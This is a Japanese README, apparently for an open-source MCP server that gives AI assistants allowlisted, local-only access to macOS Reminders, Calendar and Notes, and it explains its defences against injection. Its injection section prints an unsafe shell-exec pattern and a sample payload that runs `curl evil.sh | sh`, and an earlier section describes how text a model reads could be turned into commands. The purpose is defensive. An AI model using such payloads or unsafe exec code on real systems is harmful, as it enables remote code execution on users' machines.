mac-organiser-mcp

Mac Organiser MCP

AI アシスタントが必要に応じて使える、リマインダー、カレンダー、メモ。
選択したリスト、カレンダー、フォルダのみを使用します。アプリの外にデータが出ることはありません。

_{理由  ·  ツール  ·  プライバシー  ·  クイックスタート  ·  設定  ·  仕組み}

理由

ほとんどの Apple MCP サーバーは、モデルから送られた内容をそのまま AppleScript やシェルコマンドに貼り付けます。そのため、モデルが読み取ったあらゆるテキスト、たとえばウェブページ、メール、あるいはほかの人が編集できる共有リマインダーリストが、あなたとして実行されるコマンドになり得ます。また、モデルにすべてを渡す傾向もあります。すべてのリマインダー、すべてのメモ、すべてのカレンダーです。

この MCP サーバーは、どちらの点でも正反対のアプローチを取ります。

• 🔒 モデルが送信する内容がコードとして実行されることはありません。 各アプリには固定のスクリプトが1つだけあり、データは値としてのみそのスクリプトに渡されます。
• 🫥 アシスタントに表示されるのは、許可したものだけです。 許可リストにないリスト、カレンダー、フォルダはアプリ内でフィルタリングされるため、サーバーに届くことも、ましてやモデルに届くこともありません。
• ✉️ 外部への機能はありません。 誰かを招待したり、誰かに通知したり、インターネットから何かを読み込んだりすることはできません。

重要

ツールが返す内容はすべて、会話の一部としてモデルのプロバイダーに送信されます。許可リストは、そこに含める内容を制御する主な手段です。対象を必要最小限にしてください。

各アプリは、許可するまで無効です。書き込みはアプリごとに無効にでき、削除は常にオプトインです。

日付は ISO 8601 形式です：2026-10-29、2026-10-29T14:00（現地時間）、または 2026-10-29T14:00+11:00。

デフォルトでプライベート

**設定にかかわらず、決して返されない情報：**イベントの参加者、リマインダーの作成日時と変更日時、最近削除した項目フォルダー、ロックされたメモの内容。

クイックスタート

要件

インストール

インストールは不要です。以下の設定例のように、MCP クライアントが npx -y mac-organiser-mcp で npm から実行します。

git clone https://github.com/nicksull/mac-organiser-mcp ~/repos/mac-organiser-mcp
cd ~/repos/mac-organiser-mcp
npm ci
npm run build

標準のModel Context Protocolサーバーで、stdio 経由でローカル実行されるため、特定のアシスタントに依存しません。どのクライアントでも必要なのは、コマンド npx、引数 -y mac-organiser-mcp、環境変数としての設定の3つです。

警告

ローカル MCP サーバーをパブリック HTTPS トンネルの背後に置けば ChatGPT から接続できますが、このサーバーでは絶対に行わないでください。 リマインダー、カレンダー、メモがインターネットに公開されたエンドポイントに置かれ、設計の目的が損なわれます。

claude mcp add -s user mac-organiser \
  -e MAC_ORGANISER_APPS=reminders,calendar,notes \
  -e REMINDERS_LISTS="Reminders,Groceries" \
  -e CALENDAR_CALENDARS="Work,Home" \
  -e NOTES_FOLDERS="AI" \
  -- npx -y mac-organiser-mcp

{
  "mcpServers": {
    "mac-organiser": {
      "command": "npx",
      "args": ["-y", "mac-organiser-mcp"],
      "env": {
        "MAC_ORGANISER_APPS": "reminders,calendar,notes",
        "REMINDERS_LISTS": "Reminders,Groceries",
        "CALENDAR_CALENDARS": "Work,Home",
        "NOTES_FOLDERS": "AI"
      }
    }
  }
}

{
  "servers": {
    "mac-organiser": {
      "type": "stdio",
      "command": "npx",
      "args": ["-y", "mac-organiser-mcp"],
      "env": {
        "MAC_ORGANISER_APPS": "reminders,calendar,notes",
        "REMINDERS_LISTS": "Reminders,Groceries",
        "CALENDAR_CALENDARS": "Work,Home",
        "NOTES_FOLDERS": "AI"
      }
    }
  }
}

[mcp_servers.mac-organiser]
command = "npx"
args = ["-y", "mac-organiser-mcp"]

[mcp_servers.mac-organiser.env]
MAC_ORGANISER_APPS = "reminders,calendar,notes"
REMINDERS_LISTS = "Reminders,Groceries"
CALENDAR_CALENDARS = "Work,Home"
NOTES_FOLDERS = "AI"

クライアントのバージョンによって設定形式は変わります。形式が合わない場合は、そのクライアントの MCP ドキュメントを確認してください。

ヒント

専用のメモ用フォルダー（たとえば AI）を作ると、許可リストとして便利です。アシスタントが読み書きできる作業用メモを置き、それ以外のメモにはアクセスできないようにできます。

権限

macOS では、各アプリを初めて使用するときに一度だけ確認が表示されます。許可をクリックしてください。

メモ

これらの権限はこのサーバーではなく、ホストアプリ（Terminal、Cursor、VS Code、Claude Desktop など）に付与されます。そのアプリ内で実行されるほかのものも、同じアクセス権を取得します。最初のカレンダー呼び出しでは、確認への回答を最大40秒間待ちます。

すべて環境変数で設定します。フラグには 1、true、または yes を指定します。

必須の許可リストを設定せずにアプリを有効にした場合、そのアプリはオフのままになり、サーバーは理由を stderr に出力します。

動作の仕組み

flowchart LR
    client["AI client<br/>(Claude, Cursor, Codex…)"] -->|"tool call (JSON)"| zod

    subgraph server["Mac Organiser MCP · Node"]
        zod["Validate every argument<br/>(zod: IDs, dates, lengths)"]
        exec["execFile osascript<br/>no shell"]
        zod --> exec
    end

    subgraph mac["Inside the Apple app"]
        script["Fixed JXA script<br/>request arrives as one JSON value"]
        filter{"In your<br/>allowlist?"}
        data[("Reminders · Calendar · Notes")]
        script --> filter
        filter -->|yes| data
        filter -.->|no: 'not found'| script
    end

    exec -->|argv| script
    data -->|only allowed fields| exec
    exec -->|result| client

インジェクションが起きない理由

一般的な方式では、モデルのテキストからスクリプトを組み立てるため、意図しない ' や " によってデータがコードに変わってしまいます。

// ❌ What many Apple MCP servers do
exec(`osascript -e 'set name of r to "${name}"'`);
//   name = `x'; curl evil.sh | sh; #`  →  runs curl

この方式では、スクリプトのテキストは決して変わりません。リクエストはシェルを介さず、独立した引数として渡され、常にデータとしてのみ読み取られます。

// ✅ Mac Organiser MCP
execFile('/usr/bin/osascript', ['-l', 'JavaScript', '-e', SCRIPT, JSON.stringify(request)]);

// Inside SCRIPT
function run(argv) { return handle(JSON.parse(argv[0])); }

ライブテストスイートでは、ほかのペイロードも含め、まさにこれらのペイロードを送信し、プレーンテキストとして保存されることを確認します。

エンジン

基本方針

すべての変更は、以下の方針に従います。

1. 入力からコードを生成することはありません。 スクリプトは固定テキストであり、リクエストはデータとしてのみ送信されます。
2. ソースでフィルタリングします。 許可リストとフィールドの上限は Apple アプリ内で適用されるため、非表示のデータが Node、ログ、モデルに渡ることはありません。
3. 許可リスト外の項目は「見つからない」として扱います。 読み取りと書き込みのどちらでも、項目の存在を示す手がかりはありません。
4. 外部に影響する操作は行いません。 参加者の追加、招待、更新メール、ネットワーク呼び出しはありません。参加者がいるイベントは、ここでは読み取り専用です。
5. 復元できないものは決して破壊しません。 削除はオプトインです。Notes が上書きまたは削除されることはなく、繰り返しイベントも一度に 1 回分のみ変更します。
6. テキストはテキストのまま扱います。 Notes の内容は HTML エスケープされるため、モデルがリンク、マークアップ、トラッキング画像を追加することはできません。
7. すべてを検証します。 ID、日付、優先度、長さは、二重の防御策として実行前にチェックされます。
8. 依存関係のバージョンを固定します。 ロックファイルで正確なバージョンを指定し、ランタイム依存関係は 2 つ、インストールスクリプトは使用しません。

• メモ： 編集も削除もできません。メモをスクリプトで変更するには、本文全体を置き換えるしかありません。その場合、添付ファイル、チェックリスト、表が失われる可能性があります。同じ理由から、append_to_note は添付ファイル、リスト、表、画像を含むメモには対応していません。
• カレンダー： 新しいイベントには繰り返しルールを設定できません。また、参加者がいるイベントは、ここでは変更も削除もできません。その場合は Calendar.app を使用してください。
• リマインダー： サブタスク、タグ、フラグ、場所には対応していません。スクリプト用インターフェースではこれらを操作できません。
• 同名の場合： カレンダー名が重複している場合は、list_calendars のカレンダー ID を使用してください。同じ名前のメモフォルダが2つある場合は、名前を変更する必要があります。
• macOS のみ対応で、Mac がスリープしていない必要があります。すべての処理はローカルで実行されます。

開発

ライブテスト

npm run build && npm run test:live

テストスイートは MCP Test という名前のリマインダーリスト、カレンダー、メモフォルダを作成し、すべての許可リストをそれらに限定して、実際の MCP クライアントですべての16個のツールを実行します。インジェクションペイロード、許可リストの回避、繰り返しイベントの発生、期限日のクリアを含む43項目をチェックします。テスト完了後にテスト用データを削除します。また、すでに MCP Test という名前のものが存在する場合は開始しません。それ以外のデータが読み取られることはありません。

ディレクトリ構成

src/
  index.ts        Registers each enabled app
  config.ts       Environment variables and their defaults
  osascript.ts    Runs a fixed JXA script with one JSON argument; shared helpers
  reminders.ts    Reminders tools and script
  calendar.ts     Calendar tools and EventKit script
  notes.ts        Notes tools and script
test/
  live.mjs        End-to-end suite over MCP
  fixtures.js     Creates and removes the MCP Test fixtures

ライセンス

MIT © 2026 Nick Sullivan